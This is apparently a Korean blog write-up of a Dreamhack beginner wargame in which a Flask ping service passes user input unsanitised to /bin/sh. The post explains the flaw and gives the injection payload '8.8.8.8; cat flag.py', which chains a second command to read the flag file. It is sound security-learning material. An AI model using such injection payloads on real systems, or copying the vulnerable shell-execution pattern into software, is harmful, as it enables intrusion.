command-injection-chatgpt

2026. 2. 8. 19:40·Dreamhack 워게임/Lv.1
반응형

문제설명

특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.
chatGPT와 함께 풀어보세요!


코드 분석

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 {host}'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')
  • host를 입력받고 입력받음
  • cmd는 입력받은 호스트가 ping -c 3 뒤에 그대로 붙임
  • 밑에는 에러처리

취약점 분석

  • 핑을 입력받는 곳에 사용자 입력에 대한 검증이 없음
  • 입력받은 게 그대로 cmd에 들어감

익스플로잇

먼저 8.8.8.8 을 입력해 봄

다음과 같이 출력된 것을 볼 수 있음

8.8.8.8; cat flag.py

다음과 같이 입력해 주면

cmd = ping -c 3 8.8.8.8; cat flag.py

로 총 2개의 명령어가 실행이 됨

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

baby-union  (0) 2026.02.08
amocafe  (0) 2026.02.08
Apache htaccess  (0) 2026.02.08
File Vunleravility Advanced for Linux  (0) 2026.02.07
sql injection bypass WAF  (0) 2026.02.06
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • baby-union
  • amocafe
  • Apache htaccess
  • File Vunleravility Advanced for Linux
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    web
    alpacahack
    webhacking
    CSRF
    LLM
    hacking
    드림핵
    webstudy
    DreamHack
    cve
    xss
    JS
    JavaScript
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
command-injection-chatgpt
상단으로

티스토리툴바